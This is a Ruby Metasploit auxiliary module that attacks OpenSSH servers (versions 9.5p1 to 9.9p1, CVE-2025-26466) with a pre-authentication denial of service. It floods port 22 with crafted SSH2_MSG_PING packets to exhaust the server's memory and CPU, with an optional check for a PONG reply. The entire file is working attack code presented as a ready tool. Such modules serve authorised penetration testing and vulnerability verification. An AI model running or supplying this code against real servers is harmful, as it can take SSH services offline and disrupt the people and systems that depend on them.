require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'OpenSSH Ping DoS (CVE-2025-26466)', 'Description' => %q{ OpenSSH (versions 9.5p1 to 9.9p1) is vulnerable to a memory and CPU exhaustion DoS by sending repeated SSH2_MSG_PING packets (type 192). This occurs before authentication, and can result in server lockup due to poor queue/buffer handling. }, 'Author' => [ 'mrowkoob yamnik5@o2.pl' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-26466'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-26466'], ['URL', 'https://www.openssh.com/txt/release-9.9p2'] ], 'DisclosureDate' => '2025-02-18')) register_options( [ Opt::RPORT(22), OptInt.new('PING_COUNT', [true, 'Number of SSH2_MSG_PING packets to send', 500]), OptBool.new('CHECK_PONG', [false, 'Check if server responds with SSH2_MSG_PONG', false]) ] ) end def build_ping_packet(data = "aloha") # SSH2_MSG_PING = 192, format: byte + string (uint32 len + bytes) [192].pack("C") + [data.bytesize].pack("N") + data end def run connect banner = sock.get_once(-1, 2) print_status("Connected, banner: #{banner.strip}") if banner ping_count = datastore['PING_COUNT'] print_status("Sending #{ping_count} SSH2_MSG_PING packets...") if datastore['CHECK_PONG'] payload = build_ping_packet("ping") sock.write(payload) print_status("Waiting for server reply (SSH2_MSG_PONG)...") pong = sock.get_once(-1, 1) if pong && pong.bytes[0] == 193 print_good(" Server responded with SSH2_MSG_PONG (193)") else print_status("No PONG received (likely due to pre-auth block or patched server).") end end ping_count.times do |i| payload = build_ping_packet("ping#{i}") sock.write(payload) vprint_good("Sent PING ##{i + 1}") select(nil, nil, nil, 0.01) # slight delay end print_good("Sent #{ping_count} ping packets.") disconnect end end